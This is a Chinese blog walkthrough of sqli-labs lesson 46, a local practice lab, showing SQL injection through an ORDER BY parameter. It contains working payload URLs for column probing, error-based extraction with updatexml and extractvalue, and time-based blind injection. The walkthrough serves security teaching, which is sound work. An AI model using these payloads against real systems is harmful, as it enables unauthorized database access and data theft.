sqli-labs(less-46)order by 注入

weixin_698633992024-02-27 10:02

我们打开sql-labs的第46关然后在输入框内输入?id=1时会发现页面没有任何的变化，此时我们用Visual Studio Code查看第46关的代码

此时我们发现sql语句是 $sql = "SELECT \* FROM users ORDER BY$ id"; ，所以现在我们需要了解一下order by语句的作用。

在SQL语句中，asc是指定列按升序排列，desc则是指定列按降序排列。
select * from users order by 1 desc; 使用降序进行排列
select * from users order by 1 asc;使用升序进行排列

这时我们就知道了，sql语句只有order by后面的参数是我们可控的，所以我们可以输入?sort=1,在这里sort=1的意思就是以第一列数据也就是id进行排序。

sql 复制代码

http://127.0.0.1/sincer/Less-46/?sort=1

sql 复制代码

http://127.0.0.1/sincer/Less-46/?sort=2

此时我们输入?sort=2，就是以USERNAME进行排序。

输入?sort=3时，会以PASSWORD进行排序。

当我们输入?sort=4时会报错，因为没有第四列。

注入点测试

sql 复制代码

127.0.0.1/sincer/less-46/?sort=rand(true)

sql 复制代码

http://127.0.0.1/sincer/less-46/?sort=rand(false)

报错注入（获取表名）

sql 复制代码

http://127.0.0.1/sincer/less-46/?sort=1%20and%20updatexml(1,concat(0x7e,(database()),0x7e),1)

或者

sql 复制代码

http://127.0.0.1/sincer/less-46/?sort=(extractvalue(1,concat(0x7e,(database()),0x7e)))--+

时间盲注

sql 复制代码

http://127.0.0.1/sincer/Less-46/?sort=1%20and%20if(substr(database(),1,1)=%27s%27,1,sleep(1))--+